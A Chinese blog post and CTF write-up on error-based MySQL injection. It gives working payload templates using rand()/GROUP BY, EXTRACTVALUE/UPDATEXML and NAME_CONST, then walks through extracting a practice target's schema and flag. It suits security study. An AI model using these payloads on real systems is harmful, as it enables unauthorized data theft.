zoukankan      html  css  js  c++  java
  • 基于错误回显的sql注入整理

      由于复习,停了好几天,今天换换模式做了一下关于错误回显的ctf题目,首先附上题目:here

      整理了一下网上的一些关于错误回显的方法,在这里就不带上地址了,请大牛们原谅:P

      0x00 关于错误回显

        用我自己的话来讲,基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上(当然在实际应用中得能回显在页面上,一般的网站都回避免这种情况,哈哈,要是能碰上你就偷着乐吧)。

      0x01  用于错误回显的sql语句(下面的函数撸主只在mysql下试过也能成功,其他数据库有待考证,待有实例的时候会补充)

        第一种:  基于 rand()  与  group by 的错误

          首先看一下关于rand()函数与group by 在mysql中的错误报告,没错,我们就是要利用group by part of rand() returns duplicate key error这个bug。

          RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
    You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

          这个bug会爆出duplicate key这个错误,然后顺便就把数据也给爆了:P

          公式:username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and '1' = '1

        第二种: XPATH爆信息

          这里主要用到的是ExtractValue()UpdateXML()这2个函数,由于mysql 5.1以后提供了内置的XML文件解析和函数,所以这种注入只能用于5.1版本以后

          查看sql手册

          语法:EXTRACTVALUE (XML_document, XPath_string);       

              第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
              第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
              作用:从目标XML中返回包含所查询值的字符串
          
          语法:UPDATEXML (XML_document, XPath_string, new_value);
              第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
              第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
              第三个参数:new_value,String格式,替换查找到的符合条件的数据
              作用:改变文档中符合条件的节点的值
          现在就很清楚了,我们只需要不满足XPath_string(Xpath格式)就可以了,但是由于这个方法只能爆出32位,所以可以结合mid来使用
          公式1:username=admin' and (extractvalue(1, concat(0x7e,(你想获取的数据的sql语句)))) and '1'='1
          公式2:username=admin' and (updatexml(1, concat(0x7e,(你想获取的数据的sql语句)),1)) and '1'='1
        第三种: 重复列爆信息(对于这种方法,我在本地数据库上有试验成功,但是对于下面那道并没有什么作用,就不仔细说明了)
          带上代码:
          payload  id=330&sid=19&cid=261+and+exists(select*from+(select*from(select+name_const(@@version,0))a+join+(select+name_const(@@version,0))b)c)
      0x02  应用
        上面说了那么多,让我们来应用一下吧,基于这道题目
        首先我们来爆出他的数据库名   结果:r0866cplushua
    username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select database()))x from information_schema.tables group by x )a) and '1' = '1
        然后爆他的数据库版本  结果:5.1.61-Alibaba-rds-201404-log
    username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select version()))x from information_schema.tables group by x )a) and '1' = '1
        接着爆他的表名   结果:log    motto   user  这里需要一条一条爆
    username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.tables where table_schema = 'r0866cplushua' limit 0,1))x from information_schema.tables group by x )a) and '1' = '1
        然后再爆他的列名  结果:id  username  motto(这里我一开始试的是user表但是数据并没有我们想要的,所以换了motto,也需要一条一条的爆)
    username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.columns where table_name='motto' and table_schema = 'r0866cplushua' limit 0,1))x from information_schema.tables group by x )a) and '1' = '1
        最后就是爆数据了   结果:key#notfound!#    (这里我使用了XPATH爆数据,因为不知道什么原因用第一种方法暴不出来)
    username=admin%27%20and%20(extractvalue(1,%20concat(0x7e,(SELECT%20concat(username,0x3a,motto)%20FROM%20motto%20limit%203,1))))%20and%20%271%27=%271
        到了这里这道题目就算是做出来了。由于撸主刚刚学起上面如果有什么错误,请路过的大牛指正谢谢,同时也希望大牛们可以分享一些其他的注错方法。
     
  • 相关阅读:
    城市的划入划出效果
    文本溢出省略解决笔记css
    长串英文数字强制折行解决办法css
    Poj 2352 Star
    树状数组(Binary Indexed Trees,二分索引树)
    二叉树的层次遍历
    Uva 107 The Cat in the Hat
    Uva 10336 Rank the Languages
    Uva 536 Tree Recovery
    Uva10701 Pre, in and post
  • 原文地址:https://www.cnblogs.com/webFuckeeeer/p/4562151.html
Copyright © 2011-2022 走看看